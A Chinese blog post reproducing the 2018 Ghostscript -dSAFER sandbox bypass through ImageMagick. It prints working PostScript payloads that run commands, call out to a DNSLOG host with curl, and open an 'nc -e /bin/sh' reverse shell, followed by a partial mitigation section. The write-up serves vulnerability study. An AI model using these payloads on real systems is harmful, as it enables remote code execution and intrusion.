zoukankan      html  css  js  c++  java
  • 【漏洞复现】ghostscript远程代码执行漏洞复现

    这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下

    1、关于ghostscript

    Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
    最初是以商业软件形式在PC市场上发售,并称之为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。
    已经从Linux版本移植到其他操作系统,如其他Unix、Mac OS X、VMS、Windows、OS/2和Mac OS classic。
    基于ghostscript的上游应用有Imagemagick、libmagick、graphicsmagick、gimp、python-matplotlib、texlive-core、texmacs、latex2html、latex2rtf等
    还是挺多的,2016年被披露的“魔图”漏洞是就是imagemagick被暴露的漏洞;
    8月21日Ghostscript被爆出包含多个-dSAFER沙箱绕过漏洞。-dSAFER是Ghostscript用于防止不安全PostScript操作的安全沙箱。此漏洞与2016年出现的沙箱绕过漏洞(CVE-2016-3714)类似,远程未经身份验证的攻击者可通过多种PostScript操作来绕过-dSAFER提供的保护,在易受攻击的系统上执行任意命令。ImageMagick等默认使用Ghostscript来处理PostScript内容的应用,将受到此漏洞影响。
    2、漏洞信息
      影响范围 :<= 9.23(全版本,全平台)
      漏洞作者:Tavis Ormandy
     
    3、漏洞复现
      环境:
        KALI 2018.02 rolling
        ghostscript:GPL Ghostscript 9.22 (2017-10-04)
        imagemagick未确认
      POC信息    
     1 root@kali:~# cat test.jpg 
     2 %!PS
     3 userdict /setpagedevice undef
     4 save
     5 legal
     6 { null restore } stopped { pop } if
     7 { legal } stopped { pop } if
     8 restore
     9 mark /OutputFile (%pipe%id) currentdevice putdeviceprops
    10 root@kali:~# convert test.jpg test.gif
    11 uid=0(root) gid=0(root) 组=0(root)
    12 convert-im6.q16: FailedToExecuteCommand `'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4 -dGraphicsAlphaBits=4 '-r72x72' -g612x792  '-sOutputFile=/tmp/magick-7925iEZJksvksDOI%d' '-f/tmp/magick-79250M4URvG5ediB' '-f/tmp/magick-7925ORuyFX7DkULt' -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/462.
    13 convert-im6.q16: no images defined `test.gif' @ error/convert.c/ConvertImageCommand/3258.
    14 root@kali:~# 

     

    使用DNSLOG获取信息:

    1 %!PS
    2 userdict /setpagedevice undef
    3 save
    4 legal
    5 { null restore } stopped { pop } if
    6 { legal } stopped { pop } if
    7 restore
    8 mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops

     

     

     

    反弹Shell信息:
    1 %!PS
    2 userdict /setpagedevice undef
    3 save
    4 legal
    5 { null restore } stopped { pop } if
    6 { legal } stopped { pop } if
    7 restore
    8 mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X 8080)) currentdevice putd
    9 eviceprops

     

     

     
    本来是准备用一个centos7的虚拟机来做环境测试,无奈一直报错没解决,可能已经拦截这些poc代码了???
     1 [root@localhost ~]# convert test.jpeg poc.gif
     2 Error: /invalidaccess in --.putdeviceprops--
     3 Operand stack:
     4 
     5 Execution stack:
     6    %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   1884   1   3   %oparray_pop   1883   1   3   %oparray_pop   1867   1   3   %oparray_pop   1755   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   1753   4   3   %oparray_pop   --nostringval--   1734   4   3   %oparray_pop
     7 Dictionary stack:
     8    --dict:1172/1684(ro)(G)--   --dict:0/20(G)--   --dict:77/200(L)--
     9 Current allocation mode is local
    10 Last OS error: No such file or directory
    11 Current file position is 140
    12 GPL Ghostscript 9.07: Unrecoverable error, exit code 1
    13 Error: /invalidaccess in --.putdeviceprops--
    14 Operand stack:
    15 
    16 Execution stack:
    17    %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   1884   1   3   %oparray_pop   1883   1   3   %oparray_pop   1867   1   3   %oparray_pop   1755   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   1753   4   3   %oparray_pop   --nostringval--   1734   4   3   %oparray_pop
    18 Dictionary stack:
    19    --dict:1172/1684(ro)(G)--   --dict:0/20(G)--   --dict:77/200(L)--
    20 Current allocation mode is local
    21 Last OS error: No such file or directory
    22 Current file position is 140
    23 GPL Ghostscript 9.07: Unrecoverable error, exit code 1
    24 convert: Postscript delegate failed `test.jpeg': 没有那个文件或目录 @ error/ps.c/ReadPSImage/832.
    25 convert: no images defined `poc.gif' @ error/convert.c/ConvertImageCommand/3046.

    4、注意事项:

    kali因为是基于ubuntu的操作系统,所以这次的poc用的就是ubuntu版本的代码;

    Centos版本和ubuntu略不一样,可尝试如下代码:

    1 %!PS
    2 userdict /setpagedevice undef
    3 legal
    4 { null restore } stopped { pop } if
    5 legal
    6 mark /OutputFile (%pipe%id) currentdevice putdeviceprops

     

    5、修复

    卸载???卸载是不可能的

    使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下 <policy>(即禁用 PS、EPS、PDF、XPS coders):

    这里由于是使用Kali进行测试,路径为  /etc/ImageMagick-6/policy.xml

    再次测试:

     
  • 相关阅读:
    BNU 沙漠之旅
    手把手教你在Windows端搭建Redmine项目管理软件
    [置顶] mybatis批量新增系列之有主键的表的批量新增
    linux 命令之sar——监视系统状态
    简单的串行通信程序
    Hibernate_12_HQL句子
    初次使用glog
    2014辛星在读CSS第八节 使用背景图片
    poj 2763 Housewife Wind(树链拆分)
    堆,队列,单一列表,双向链表
  • 原文地址:https://www.cnblogs.com/nayu/p/10018123.html
Copyright © 2011-2022 走看看